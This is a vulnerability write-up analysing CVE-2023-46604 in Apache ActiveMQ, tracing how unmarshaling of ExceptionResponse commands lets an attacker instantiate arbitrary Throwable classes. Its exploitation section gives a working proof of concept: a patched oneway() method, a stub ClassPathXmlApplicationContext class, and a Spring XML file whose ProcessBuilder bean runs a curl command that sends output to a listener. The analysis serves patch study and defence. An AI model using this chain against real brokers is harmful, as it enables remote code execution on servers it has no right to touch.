[CVE-2023-46604] ActiveMQ Deserilization RCE Analysis
CVE-2023-46604
The CVE-2023-46604 vulnerability is specifically related to the deserialization of untrusted data in the OpenWire protocol, which is used for communication between ActiveMQ brokers and clients. When a broker receives a serialized message, it deserializes the message into an object. However, the broker does not properly validate the serialized class type, which allows an attacker to send a specially crafted message that causes the broker to instantiate an arbitrary class. This allows the attacker to execute code of their choosing.
Executive Summary
The ActiveMQ client and broker employ distinct serialization/deserialization mechanisms corresponding to command types. However, the deserialization process designed for managing Exception messages was flawed, permitting the initiation of any class of Throwable type. This flaw facilitated the instantiation of arbitrary class objects within the classpath, ultimately resulting in a vulnerability leading to Remote Code Execution (RCE).
Technical Jargons
- ActiveMQ Broker is an open-source message broker that facilitates communication between applications through message exchange. It implements the Advanced Message Queuing Protocol (AMQP), a widely adopted messaging protocol.
- ActiveMQ Client is a software program that enables an application to interact with an ActiveMQ message broker. It allows applications to send and receive messages, manage queues and topics, and subscribe to message notifications.
- ActiveMQ Commands are simply different types of messages which are exchanged between ActiveMQ broker and clients. Different command/message types serve different purposes. For example, there is a command type for Acknowledgements, Exceptions, Connection requests etc.
- OpenWire is a binary protocol employed by ActiveMQ to marshal and unmarshal objects into byte streams. This enables the transmission of messages between ActiveMQ components, such as producers and consumers.
- Serialization/Marshaling is a process in programming that enables the conversion of complex data structures into a transmittable and storable format. It is mostly used to store the state of an object.
- Deserialization/Unmarshaling is the reverse of Serialization or Marshaling. It enabled the conversion of transmittable/stored form of data into a complex data structure, such as a class object. It is used to re-store/re-instantiate a class object through serialized data.
Technical Details & Analysis
To understand the vulnerability, we must first look at how ActiveMQ broker deserializes a received command (also called message).
Deserialization in OpenWire protocol
When the broker receives any kind of command, It calls the higher level unmarshaling function unmarshal()
of the OpenWire implementation.
org.apache.activemq.openwire.OpenWireFormat.unmarshal()
After reading an integer byte from the received input frame, it passes the entire received input data to the lower level doUnmarshal()
function.
org.apache.activemq.openwire.OpenWireFormat.doUnmarshal()
The doUnmarshal()
function reads the next byte from the input data which indicates the type of command/message it has received. Based on the type of command/message, respecitive deserialization/unmarshaling function is invoked to deserialize the input data.
There are 100+ different command/message types available in OpenWire specification with their respective byte values. Some of them can be seen below.
So to summarize this up, when the broker receives a command, it ultimately calls the deserialization function respective to the received command type.
Patch Observation
To patch the security vulnerability, the following code was commited by ActiveMQ team.
Commit Link: ActiveMQ - Pull/1098
As can be seen from the screenshot above, the change has been done on activemq-client
as it houses the OpenWire protocol suite.
During communication between ActiveMQ clients, a version negotiation takes place, that is why the changes had to be done in every OpenWire version.
The screenshot only shows the changes made on openwire/v10
, however same change was made on other versions like v1
,v2
…,v12
.
The patch simply checks if name of class passed to createThrowable()
is actually Throwable (derived from Throwable
class).
Since Throwable
is the parent class of all Java exception and error classes, It denotes that the vulnerability has something to do with Exceptions.
It becomes clear when we observe function call hierarchy to identify all functions which ultimately end up calling the createThrowable
function. One of the classes this observation led to was ExceptionResponseMarshaller
which indicates that the vulnerable function is called during the unmarshaling of Exception responses, which are of type ExceptionResponse
in OpenWire specification.
At this point, we know that:
createThrowable
is a function that will allow us to instantiate objects of arbitrary type as long as the type is inclasspath
and is derived fromThrowable
.- The vulnerability exists in unmarshaling process of commands/messages of
ExceptionResponse
type.
Now lets dig into how ExceptionResponse
commands are unmarshaled when received by the broker.
Unmarshaling of `ExceptionResponse` commands
As we saw earlier, the doUnmarshal()
function calls the unmarshaling function of the respective command type. In case of ExceptionResponse
command type, It invokes the tightUnmarshal()
in ExceptionResponseMarshaller
class.
org.apache.activemq.openwire.v12.ExceptionResponseMarshaller.tightUnmarshal()
The tightUnmarshal()
function explicitely casts the passed command object to ExceptionResponse
type and calls tightUnmarsalThrowable()
passing it the wireinfo object (which contains the openwire parameters) along with the input data to be unmarshaled.
The tightUnmarsalThrowable()
function then reads the exception type and exception message from the input data and stores them in clazz
and message
respectively.
org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.tightUnmarsalThrowable()
Once the class type and message are extracted from the input data, they are passed to createThrowable()
which ends up creating the object of the passed type with the message as argument to its constructor.
org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.createThrowable()
With all this control flow information, we now know that:
- The vulnerability exists in insecure deserialization of
ExceptionResponse
commands where the exception class type and message value are read from the command byte stream to construct an object of the passed class type. - If we somehow manage to marshal an
ExceptionResponse
object with arbitrary class name and message value, we would be able to create arbitrary objects of any class available on the classpath.
Now lets see how can we do that.
Exploitation
Lets write a basic program that connects to ActiveMQ broker and sends a message to a queue.
To exploit the insecure deserialization, we need to craft a malicious ExceptionResponse
object, marshal it and send it to the broker.
Instead of going through the OpenWire specification and hard coding each required byte in the byte stream, we can do it smartly by patching the necessary functions. Since higher/lower level functions are already available in the library to assist with marshaling, we don’t need to hardcode bytes ourselves.
The first step is to identify the minimalist function which invokes marshal()
and initiates the marshaling process (as patching marshal
would require us to patch other dependent functions).
One such reference of marshal()
was oneway()
method of TcpTransport
class.
org.apache.activemq.transport.tcp.TcpTransport.oneway()
The oneway()
call is the minimalist because it only requires the command object as argument and it invokes the marshal()
function correctly.
org.apache.activemq.transport.tcp.TcpTransport.oneway()
We can patch this function by writing our own implementation of it such that it creates the malicious ExceptionResponse
object with necessary values for class name and message value.
As this part is sorted, how to create a malicious ExceptionResponse
object and what class name and message value should we put in the payload in order to achieve code execution?
As we observed in the createThrowable()
, the class name (lets say className
) and exception message value (lets say msg
) would be used for creation of object which would be equivalent to running:
className obj = new className(msg)
One thing to note here is that we can only initialize an object and pass one constructor value, but we can’t call any function on that object. So what type of class name and message value should we use?
Since ActiveMQ depends on spring, we can utilize an intersting gadget function ClassPathXmlApplicationContext() which allows to load the definitions of the beans from a local/remote XML file. In simple words, It helps you in initializing an object with its state loaded from a remote XML file. Some examples of this function can be found here.
So this is how our final patched version of oneway()
would look like:
public void oneway(Object command) throws IOException {
checkStarted();
System.out.println("[+] Inside patched oneway()");
String VPS_URL = "http://127.0.0.1:8000/poc.xml";
Throwable maliciousThrowableObject = new ClassPathXmlApplicationContext(VPS_URL);
ExceptionResponse er = new ExceptionResponse(maliciousThrowableObject);
wireFormat.marshal(er, dataOut);
dataOut.flush();
}
Also, The ClassPathXmlApplicationContext
needs to:
- be derived from
Throwable
as it is being assigned to an object ofThrowable
type. - have a
getMessage()
function similar toExceptionResponse
class as it will be called during marshaling process.
To solve these problems, we patch the ClassPathXmlApplicationContext()
by writing a custom implementation for it, fulfilling the needed conditions.
package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable {
private String message;
public ClassPathXmlApplicationContext(String xmlUrl) {
System.out.println("[+] Inside patched ClassPathXmlApplicationContext()");
this.message = xmlUrl;
}
public String getMessage() {
return this.message;
}
}
On my local HTTP service running at port 8000, I hosted the following poc.xml
file containing the application context:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>sh</value>
<value>-c</value>
<value>curl http://127.0.0.1:5555/ExploitSuccessful?pwd=$(pwd)</value>
</list>
</constructor-arg>
</bean>
</beans>
The above application context will assist in creating an object of java.lang.ProcessBuilder
and run a command to hit my listener service hosted on port 5555. If hit, It would indicate the successful exploitation of the insecure deserialization vulnerability.
Now we have everything in place to run the exploit, Its time to run the program.
Console:
HTTP Service hosting XML application context:
Listener Service:
As can be seen in the above screenshots, The control flow successfully landed on the patched definition of oneway()
and ClassPathXmlApplicationContext()
ending up executing the system command to hit my listener service, indicating the successful exploitation.
Credits
-
Thanks to the work of @X1r0z who analyzed the patch and successfully created the PoC for it. I used his article as a reference to dig more. Pleae find his article here:
Apache ActiveMQ (version 5.18.3) RCE analysis -
Thanks to Google Bard for helping me write this article efficiently lol.